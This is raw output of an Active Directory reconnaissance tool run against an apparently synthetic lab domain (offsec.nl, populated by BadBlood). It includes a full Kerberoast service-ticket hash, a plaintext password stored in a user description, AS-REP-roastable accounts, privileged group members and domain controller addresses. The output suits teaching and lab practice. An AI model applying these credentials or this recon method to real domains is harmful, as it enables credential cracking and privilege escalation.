3F6B1109236A029D76F2C758FD7EF2A46112188B45237EFF5B43668D75F942D11D38FEE0BCFC0AA9BACB5442AA514B381B4 Searching for Kerberoastable Users - Details for User 'BRENTON_JACOBS': sAMAccountName : BRENTON_JACOBS userPrincipalName : BRENTON_JACOBS@offsec.nl distinguishedName : CN=BRENTON_JACOBS,OU=ServiceAccounts,OU=ITS,OU=Tier 1,DC=offsec,DC=nl description : Created with secframe.com/badblood. objectSid : S-1-5-21-3509477529-2169914037-1395257886-2933 userAccountControl : NORMAL_ACCOUNT memberOf : CN=EV-adi-distlist1,OU=Test,OU=BDE,OU=Tier 1,DC=offsec,DC=nl CN=AN-bet-admingroup1,OU=Groups,OU=ESM,OU=Stage,DC=offsec,DC=nl CN=DE-mar-distlist1,OU=ServiceAccounts,OU=ITS,OU=Tier 2,DC=offsec,DC=nl CN=DA-154-admingroup1,OU=Groups,OU=ESM,OU=Stage,DC=offsec,DC=nl CN=JE-5504504ma-distlist1,OU=ESM,OU=Tier 1,DC=offsec,DC=nl CN=PR-ordnajela-distlist1,OU=Devices,OU=AWS,OU=Stage,DC=offsec,DC=nl CN=HO-126-distlist1,OU=FIN,OU=Tier 1,DC=offsec,DC=nl CN=MA-par-distlist1,OU=FIN,OU=Tier 2,DC=offsec,DC=nl CN=UL-yer-distlist1,OU=GOO,OU=Tier 2,DC=offsec,DC=nl CN=CL-ashleigh4-distlist1,OU=Unassociated,OU=People,DC=offsec,DC=nl pwdLastSet : 2/5/2022 10:06:05 AM lastLogonTimestamp : $krb5tgs$23$*BRENTON_JACOBS$offsec.nl$POP3/TSTWAPPS1000001*$A8ACE850FA0CA9EBE5AD6FEA4A018340$17EBC9C037B756ADBACFF0ECFD1046E61B35EC357F8EDEC0025A0EC2874B3B5FAAA342F95CDA4660ED82AEFA02C5CF3E23E916B366B9B981072F58AFB6967A4AC6B509B2A2C9A6C10E638DD8F31FBF2B95E3CE84849382F3D6A21B86AC86758C7AB30D72E80DF7131627B15C94267B7A8763F79FA9CEA98A283E1DEE09233E1F97F896C6B6249678A8039D931D37B8622D357541F43C3C4AD39629D270E540F42962C291B377C6C35EFDCE302DB268E384527D2683A33C7EB0E15F1DACE86D37EB6A17A78B912A8D8DA7B480F9393D01FCD8318BCD3BF4BA544831EE467007851CBC0767EE0539BF8E30B1BC6C6C2F4DA8A6BC32CC03FA3364645FE038CDFDD18A90261552B78201AA1EED9692A3A46D96F23DA401EEB4A34AD22E845455E792455E133C1320B9E5745ECFFE5F2D3A7922474ABE3E3E0FF4936DDAFAD48C91FC6E35038B78C295F5230E75C44645796F5BD2CE0958447AC91E5C0CB36989031F0940A6EF8BEE09B8D13E56F912DCEC1997DFE8E9621ABC929A7C2C8C6EBB9083901D97A2AC25C0DCAB1BF4F1EA6DCF04C9D340A702C29507AEEFFFEBE6B7B694A6C3A0558778E48920BC7B2792789489341E102A51B0B386D2D57039D361A7B2365825C71E4EB8BC1326DA67006B7CBCD5F8CE3949D6CB3DFF675E29CF1CE95389955E9A7AA6E19C439A9A6AFA5023938B31401632BDC7FC6FDB5F098FE52A16D37BA5245939C8A0C3BCE4C5C0236DAD514CC739C82B52815ECC8DC4E4BC9DA23A2E1AC5A0DCB06FECFE158EBF9EE33F5CB4A16CCB947B07D6F03C6AEA4E936CD553C62B56B863E4ECC321402941AD10B7676162AF260F5334809C246BF71964C02E5EBA683388F1A0C104AFD8ECE1E6A8C3BA6CDB1E4485692878B471EA91D84D5E22109F9FFEE86DC42A1511E7B5B8E4D9AF512EBEA7B405CC43F0C4FB2EBAA7FDD1E2F6EB6DE7D37F8993A17A9AC3B5D24CF2866A9F5D69065DFF816D195107F2D121F9F85568F062DA9B7E40D198E53456246F0EF1FD5F0AF100611A1DF3965DC0D97237B79F55EBE0CA264BEB6D3719643E66F150623DBEDF3D0ED8BAA156CE573F5DD582AE5DB889A17809D520B4D4BB9D5659C80ECA4861354AB03BE97B6099CF5A24118A59B0812261E261CE44B024AF4B63D4EF2D120B60652E73AA220C0FCB2098FDA7FAF3B8CB9E7D8A3A44B2A263D4918A29C0895BE2029CFE220C9565ED4E7B99E43F79FC2E81120A6BAA24F495B2D3A897FEE8BB1430EA664A7AE58A7690D04F36E91C397A7035FD8E2DDEFBBEE736BAFEC4B9A02C382B9F8A73D8E956678D1C2A4272614D6333688FBE7CB164057690DDE2F107AFC9865C3099BFB2DBB13A3FA6D8031269C871A99A32D5BD43AC35150845E010FB50C165C16C094E497798BA1AAFEE822FBF24723674D9 Searching for Users in High Privileged Groups - Members of Group 'BUILTIN\Administrators': GroupName : Enterprise Admins distinguishedName : CN=Enterprise Admins,CN=Users,DC=offsec,DC=nl description : Designated administrators of the enterprise objectSid : S-1-5-21-3509477529-2169914037-1395257886-519 MemberDomain : offsec.nl GroupName : Domain Admins distinguishedName : CN=Domain Admins,CN=Users,DC=offsec,DC=nl description : Designated administrators of the domain objectSid : S-1-5-21-3509477529-2169914037-1395257886-512 MemberDomain : offsec.nl sAMAccountName : MEAGAN_POTTER userPrincipalName : MEAGAN_POTTER@offsec.nl distinguishedName : CN=MEAGAN_POTTER,OU=ServiceAccounts,OU=SEC,OU=Stage,DC=offsec,DC=nl description : Created with secframe.com/badblood. objectSid : S-1-5-21-3509477529-2169914037-1395257886-3237 MemberDomain : offsec.nl pwdLastSet : 2/5/2022 10:07:16 AM lastLogonTimestamp : UserAccountControl : NORMAL_ACCOUNT sAMAccountName : ISIDRO_HAYS userPrincipalName : ISIDRO_HAYS@offsec.nl distinguishedName : CN=ISIDRO_HAYS,OU=ITS,OU=Tier 1,DC=offsec,DC=nl description : Created with secframe.com/badblood. objectSid : S-1-5-21-3509477529-2169914037-1395257886-2472 MemberDomain : offsec.nl pwdLastSet : 2/5/2022 10:04:19 AM lastLogonTimestamp : UserAccountControl : NORMAL_ACCOUNT sAMAccountName : DON_ROBERTS userPrincipalName : DON_ROBERTS@offsec.nl distinguishedName : CN=DON_ROBERTS,OU=Test,OU=AZR,OU=Stage,DC=offsec,DC=nl description : Created with secframe.com/badblood. objectSid : S-1-5-21-3509477529-2169914037-1395257886-2176 MemberDomain : offsec.nl pwdLastSet : 2/5/2022 10:03:10 AM lastLogonTimestamp : UserAccountControl : NORMAL_ACCOUNT sAMAccountName : Administrator userPrincipalName : distinguishedName : CN=Administrator,CN=Users,DC=offsec,DC=nl description : Built-in account for administering the computer/domain objectSid : S-1-5-21-3509477529-2169914037-1395257886-500 MemberDomain : offsec.nl pwdLastSet : 2/4/2022 4:12:46 PM lastLogonTimestamp : 2/5/2022 9:56:34 AM UserAccountControl : NORMAL_ACCOUNT, DONT_EXPIRE_PASSWORD sAMAccountName : CLARENCE_WILSON userPrincipalName : CLARENCE_WILSON@offsec.nl distinguishedName : CN=CLARENCE_WILSON,OU=Test,OU=GOO,OU=Stage,DC=offsec,DC=nl description : Created with secframe.com/badblood. objectSid : S-1-5-21-3509477529-2169914037-1395257886-3505 MemberDomain : offsec.nl pwdLastSet : 2/5/2022 10:08:18 AM lastLogonTimestamp : UserAccountControl : NORMAL_ACCOUNT sAMAccountName : 5566221347SA userPrincipalName : 5566221347SA@offsec.nl distinguishedName : CN=5566221347SA,OU=ServiceAccounts,OU=ESM,OU=Tier 1,DC=offsec,DC=nl description : Created with secframe.com/badblood. objectSid : S-1-5-21-3509477529-2169914037-1395257886-1481 MemberDomain : offsec.nl pwdLastSet : 2/5/2022 10:00:30 AM lastLogonTimestamp : UserAccountControl : NORMAL_ACCOUNT Searching for Users in High Privileged Groups - Members of Group 'OFFSEC\Domain Admins': sAMAccountName : DON_ROBERTS userPrincipalName : DON_ROBERTS@offsec.nl distinguishedName : CN=DON_ROBERTS,OU=Test,OU=AZR,OU=Stage,DC=offsec,DC=nl description : Created with secframe.com/badblood. objectSid : S-1-5-21-3509477529-2169914037-1395257886-2176 MemberDomain : offsec.nl pwdLastSet : 2/5/2022 10:03:10 AM lastLogonTimestamp : UserAccountControl : NORMAL_ACCOUNT sAMAccountName : CLARENCE_WILSON userPrincipalName : CLARENCE_WILSON@offsec.nl distinguishedName : CN=CLARENCE_WILSON,OU=Test,OU=GOO,OU=Stage,DC=offsec,DC=nl description : Created with secframe.com/badblood. objectSid : S-1-5-21-3509477529-2169914037-1395257886-3505 MemberDomain : offsec.nl pwdLastSet : 2/5/2022 10:08:18 AM lastLogonTimestamp : UserAccountControl : NORMAL_ACCOUNT sAMAccountName : Administrator userPrincipalName : distinguishedName : CN=Administrator,CN=Users,DC=offsec,DC=nl description : Built-in account for administering the computer/domain objectSid : S-1-5-21-3509477529-2169914037-1395257886-500 MemberDomain : offsec.nl pwdLastSet : 2/4/2022 4:12:46 PM lastLogonTimestamp : 2/5/2022 9:56:34 AM UserAccountControl : NORMAL_ACCOUNT, DONT_EXPIRE_PASSWORD Searching for Users in High Privileged Groups - Members of Group 'OFFSEC\Enterprise Admins': sAMAccountName : Administrator userPrincipalName : distinguishedName : CN=Administrator,CN=Users,DC=offsec,DC=nl description : Built-in account for administering the computer/domain objectSid : S-1-5-21-3509477529-2169914037-1395257886-500 MemberDomain : offsec.nl pwdLastSet : 2/4/2022 4:12:46 PM lastLogonTimestamp : 2/5/2022 9:56:34 AM UserAccountControl : NORMAL_ACCOUNT, DONT_EXPIRE_PASSWORD Searching for Users in High Privileged Groups - Members of Group 'OFFSEC\Group Policy Creator Owners': sAMAccountName : ERICKA_FLYNN userPrincipalName : ERICKA_FLYNN@offsec.nl distinguishedName : CN=ERICKA_FLYNN,OU=Test,OU=BDE,OU=Stage,DC=offsec,DC=nl description : Created with secframe.com/badblood. objectSid : S-1-5-21-3509477529-2169914037-1395257886-1393 MemberDomain : offsec.nl pwdLastSet : 2/5/2022 10:00:09 AM lastLogonTimestamp : UserAccountControl : NORMAL_ACCOUNT sAMAccountName : KELLY_ESTRADA userPrincipalName : KELLY_ESTRADA@offsec.nl distinguishedName : CN=KELLY_ESTRADA,OU=ESM,OU=People,DC=offsec,DC=nl description : Created with secframe.com/badblood. objectSid : S-1-5-21-3509477529-2169914037-1395257886-1378 MemberDomain : offsec.nl pwdLastSet : 2/5/2022 10:00:06 AM lastLogonTimestamp : UserAccountControl : NORMAL_ACCOUNT sAMAccountName : Administrator userPrincipalName : distinguishedName : CN=Administrator,CN=Users,DC=offsec,DC=nl description : Built-in account for administering the computer/domain objectSid : S-1-5-21-3509477529-2169914037-1395257886-500 MemberDomain : offsec.nl pwdLastSet : 2/4/2022 4:12:46 PM lastLogonTimestamp : 2/5/2022 9:56:34 AM UserAccountControl : NORMAL_ACCOUNT, DONT_EXPIRE_PASSWORD sAMAccountName : ARMAND_KIDD userPrincipalName : ARMAND_KIDD@offsec.nl distinguishedName : CN=ARMAND_KIDD,OU=HRE,OU=Stage,DC=offsec,DC=nl description : Created with secframe.com/badblood. objectSid : S-1-5-21-3509477529-2169914037-1395257886-3073 MemberDomain : offsec.nl pwdLastSet : 2/5/2022 10:06:37 AM lastLogonTimestamp : UserAccountControl : NORMAL_ACCOUNT Searching for Users in High Privileged Groups - Members of Group 'OFFSEC\DnsAdmins': sAMAccountName : STEFANIE_LYNN userPrincipalName : STEFANIE_LYNN@offsec.nl distinguishedName : CN=STEFANIE_LYNN,OU=HRE,OU=Tier 2,DC=offsec,DC=nl description : Created with secframe.com/badblood. objectSid : S-1-5-21-3509477529-2169914037-1395257886-2483 MemberDomain : offsec.nl pwdLastSet : 2/5/2022 10:04:21 AM lastLogonTimestamp : 2/10/2022 1:59:42 PM UserAccountControl : NORMAL_ACCOUNT, DONT_REQ_PREAUTH sAMAccountName : ANNA_DUFFY userPrincipalName : ANNA_DUFFY@offsec.nl distinguishedName : CN=ANNA_DUFFY,OU=OGC,OU=Stage,DC=offsec,DC=nl description : Created with secframe.com/badblood. objectSid : S-1-5-21-3509477529-2169914037-1395257886-2340 MemberDomain : offsec.nl pwdLastSet : 2/5/2022 10:03:48 AM lastLogonTimestamp : 2/10/2022 1:59:41 PM UserAccountControl : NORMAL_ACCOUNT, DONT_REQ_PREAUTH Searching for Users in High Privileged Groups - Members of Group 'BUILTIN\Account Operators': sAMAccountName : HERSCHEL_WILLIAM userPrincipalName : HERSCHEL_WILLIAM@offsec.nl distinguishedName : CN=HERSCHEL_WILLIAM,OU=FIN,OU=Stage,DC=offsec,DC=nl description : Created with secframe.com/badblood. objectSid : S-1-5-21-3509477529-2169914037-1395257886-1927 MemberDomain : offsec.nl pwdLastSet : 2/5/2022 10:02:13 AM lastLogonTimestamp : UserAccountControl : NORMAL_ACCOUNT Searching for Users in High Privileged Groups - Members of Group 'BUILTIN\Server Operators': sAMAccountName : SONJA_BARRETT userPrincipalName : SONJA_BARRETT@offsec.nl distinguishedName : CN=SONJA_BARRETT,OU=Devices,OU=SEC,OU=Tier 1,DC=offsec,DC=nl description : Created with secframe.com/badblood. objectSid : S-1-5-21-3509477529-2169914037-1395257886-1285 MemberDomain : offsec.nl pwdLastSet : 2/5/2022 9:59:44 AM lastLogonTimestamp : UserAccountControl : NORMAL_ACCOUNT sAMAccountName : GRADY_RICHARDSON userPrincipalName : GRADY_RICHARDSON@offsec.nl distinguishedName : CN=GRADY_RICHARDSON,OU=FSR,OU=Stage,DC=offsec,DC=nl description : Created with secframe.com/badblood. objectSid : S-1-5-21-3509477529-2169914037-1395257886-2317 MemberDomain : offsec.nl pwdLastSet : 2/5/2022 10:03:43 AM lastLogonTimestamp : UserAccountControl : NORMAL_ACCOUNT sAMAccountName : BRYON_COOPER userPrincipalName : BRYON_COOPER@offsec.nl distinguishedName : CN=BRYON_COOPER,OU=OGC,OU=Tier 2,DC=offsec,DC=nl description : Created with secframe.com/badblood. objectSid : S-1-5-21-3509477529-2169914037-1395257886-2802 MemberDomain : offsec.nl pwdLastSet : 2/5/2022 10:05:35 AM lastLogonTimestamp : UserAccountControl : NORMAL_ACCOUNT Searching for Users in High Privileged Groups - Members of Group 'BUILTIN\Print Operators': sAMAccountName : TERRI_ROBERTSON userPrincipalName : TERRI_ROBERTSON@offsec.nl distinguishedName : CN=TERRI_ROBERTSON,OU=ServiceAccounts,OU=AWS,OU=Tier 2,DC=offsec,DC=nl description : Created with secframe.com/badblood. objectSid : S-1-5-21-3509477529-2169914037-1395257886-3332 MemberDomain : offsec.nl pwdLastSet : 2/5/2022 10:07:38 AM lastLogonTimestamp : UserAccountControl : NORMAL_ACCOUNT sAMAccountName : PHILLIP_ATKINS userPrincipalName : PHILLIP_ATKINS@offsec.nl distinguishedName : CN=PHILLIP_ATKINS,OU=ServiceAccounts,OU=ITS,OU=Tier 1,DC=offsec,DC=nl description : Created with secframe.com/badblood. objectSid : S-1-5-21-3509477529-2169914037-1395257886-2391 MemberDomain : offsec.nl pwdLastSet : 2/5/2022 10:04:00 AM lastLogonTimestamp : 2/10/2022 1:59:41 PM UserAccountControl : NORMAL_ACCOUNT, DONT_REQ_PREAUTH sAMAccountName : GLEN_ASHLEY userPrincipalName : GLEN_ASHLEY@offsec.nl distinguishedName : CN=GLEN_ASHLEY,OU=ServiceAccounts,OU=ITS,OU=Stage,DC=offsec,DC=nl description : Created with secframe.com/badblood. objectSid : S-1-5-21-3509477529-2169914037-1395257886-3071 MemberDomain : offsec.nl pwdLastSet : 2/5/2022 10:06:37 AM lastLogonTimestamp : UserAccountControl : NORMAL_ACCOUNT Searching for Users in High Privileged Groups - Members of Group 'BUILTIN\Backup Operators': sAMAccountName : TOMMIE_THOMAS userPrincipalName : TOMMIE_THOMAS@offsec.nl distinguishedName : CN=TOMMIE_THOMAS,OU=Admin,DC=offsec,DC=nl description : Created with secframe.com/badblood. objectSid : S-1-5-21-3509477529-2169914037-1395257886-2131 MemberDomain : offsec.nl pwdLastSet : 2/5/2022 10:03:00 AM lastLogonTimestamp : UserAccountControl : NORMAL_ACCOUNT sAMAccountName : CONNIE_SWEENEY userPrincipalName : CONNIE_SWEENEY@offsec.nl distinguishedName : CN=CONNIE_SWEENEY,OU=GOO,OU=Tier 1,DC=offsec,DC=nl description : Created with secframe.com/badblood. objectSid : S-1-5-21-3509477529-2169914037-1395257886-2945 MemberDomain : offsec.nl pwdLastSet : 2/5/2022 10:06:08 AM lastLogonTimestamp : UserAccountControl : NORMAL_ACCOUNT Searching for Users in High Privileged Groups - Members of Group 'BUILTIN\Hyper-V Administrators': sAMAccountName : KORY_LANGLEY userPrincipalName : KORY_LANGLEY@offsec.nl distinguishedName : CN=KORY_LANGLEY,OU=T2-Permissions,OU=Tier 2,OU=Admin,DC=offsec,DC=nl description : Created with secframe.com/badblood. objectSid : S-1-5-21-3509477529-2169914037-1395257886-3377 MemberDomain : offsec.nl pwdLastSet : 2/5/2022 10:07:48 AM lastLogonTimestamp : UserAccountControl : NORMAL_ACCOUNT Searching for Users in High Privileged Groups - Members of Group 'BUILTIN\Access Control Assistance Operators': sAMAccountName : TAYLOR_PAUL userPrincipalName : TAYLOR_PAUL@offsec.nl distinguishedName : CN=TAYLOR_PAUL,OU=ServiceAccounts,OU=AZR,OU=Tier 2,DC=offsec,DC=nl description : Created with secframe.com/badblood. objectSid : S-1-5-21-3509477529-2169914037-1395257886-2532 MemberDomain : offsec.nl pwdLastSet : 2/5/2022 10:04:33 AM lastLogonTimestamp : UserAccountControl : NORMAL_ACCOUNT sAMAccountName : LILLIAN_NOLAN userPrincipalName : LILLIAN_NOLAN@offsec.nl distinguishedName : CN=LILLIAN_NOLAN,OU=ITS,OU=Stage,DC=offsec,DC=nl description : Just so I dont forget my password is G2gie%Fk&NJcafLfE%K7vRz objectSid : S-1-5-21-3509477529-2169914037-1395257886-1897 MemberDomain : offsec.nl pwdLastSet : 2/5/2022 10:02:06 AM lastLogonTimestamp : UserAccountControl : NORMAL_ACCOUNT sAMAccountName : BERNICE_BENTLEY userPrincipalName : BERNICE_BENTLEY@offsec.nl distinguishedName : CN=BERNICE_BENTLEY,OU=AZR,OU=People,DC=offsec,DC=nl description : Created with secframe.com/badblood. objectSid : S-1-5-21-3509477529-2169914037-1395257886-2982 MemberDomain : offsec.nl pwdLastSet : 2/5/2022 10:06:17 AM lastLogonTimestamp : UserAccountControl : NORMAL_ACCOUNT Searching for Users in High Privileged Groups - Members of Group 'OFFSEC\Cert Publishers': sAMAccountName : DELORIS_MACIAS userPrincipalName : DELORIS_MACIAS@offsec.nl distinguishedName : CN=DELORIS_MACIAS,OU=Devices,OU=FIN,OU=Tier 1,DC=offsec,DC=nl description : Created with secframe.com/badblood. objectSid : S-1-5-21-3509477529-2169914037-1395257886-2541 MemberDomain : offsec.nl pwdLastSet : 2/5/2022 10:04:35 AM lastLogonTimestamp : UserAccountControl : NORMAL_ACCOUNT sAMAccountName : ALDO_ROY userPrincipalName : ALDO_ROY@offsec.nl distinguishedName : CN=ALDO_ROY,OU=Devices,OU=ITS,OU=Tier 2,DC=offsec,DC=nl description : Created with secframe.com/badblood. objectSid : S-1-5-21-3509477529-2169914037-1395257886-2981 MemberDomain : offsec.nl pwdLastSet : 2/5/2022 10:06:16 AM lastLogonTimestamp : UserAccountControl : NORMAL_ACCOUNT Searching for High Privileged Users where the Password does not expire - Details for User 'Administrator': sAMAccountName : Administrator userPrincipalName : distinguishedName : CN=Administrator,CN=Users,DC=offsec,DC=nl description : Built-in account for administering the computer/domain objectSid : S-1-5-21-3509477529-2169914037-1395257886-500 userAccountControl : NORMAL_ACCOUNT, DONT_EXPIRE_PASSWORD memberOf : CN=DA-154-admingroup1,OU=Groups,OU=ESM,OU=Stage,DC=offsec,DC=nl CN=CA-03136754z-distlist1,OU=GOO,OU=Tier 2,DC=offsec,DC=nl CN=ME-mig-distlist1,OU=Groups,OU=HRE,OU=Tier 1,DC=offsec,DC=nl CN=JE-386-distlist1,OU=T0-Servers,OU=Tier 0,OU=Admin,DC=offsec,DC=nl CN=Group Policy Creator Owners,CN=Users,DC=offsec,DC=nl CN=Domain Admins,CN=Users,DC=offsec,DC=nl CN=Enterprise Admins,CN=Users,DC=offsec,DC=nl CN=Schema Admins,CN=Users,DC=offsec,DC=nl CN=Administrators,CN=Builtin,DC=offsec,DC=nl pwdLastSet : 2/4/2022 4:12:46 PM lastLogonTimestamp : 2/5/2022 9:56:34 AM Searching for Domain Controllers - Details for Computer 'SRV2019$': sAMAccountName : SRV2019$ dNSHostName : SRV2019.offsec.nl distinguishedName : CN=SRV2019,OU=Domain Controllers,DC=offsec,DC=nl IPv4Address : 10.20.30.10 operatingSystem : Windows Server 2019 Standard description : objectSid : S-1-5-21-3509477529-2169914037-1395257886-1000 userAccountControl : SERVER_TRUST_ACCOUNT, TRUSTED_FOR_DELEGATION Searching for Domain Controllers - Details for Computer 'SRV2022$': sAMAccountName : SRV2022$ dNSHostName : SRV2022.offsec.nl distinguishedName : CN=SRV2022,OU=Domain Controllers,DC=offsec,DC=nl IPv4Address : 10.20.30.11 operatingSystem : Windows Server 2022 Standard description : objectSid : S-1-5-21-3509477529-2169914037-1395257886-4188 userAccountControl : SERVER_TRUST_ACCOUNT, TRUSTED_FOR_DELEGATION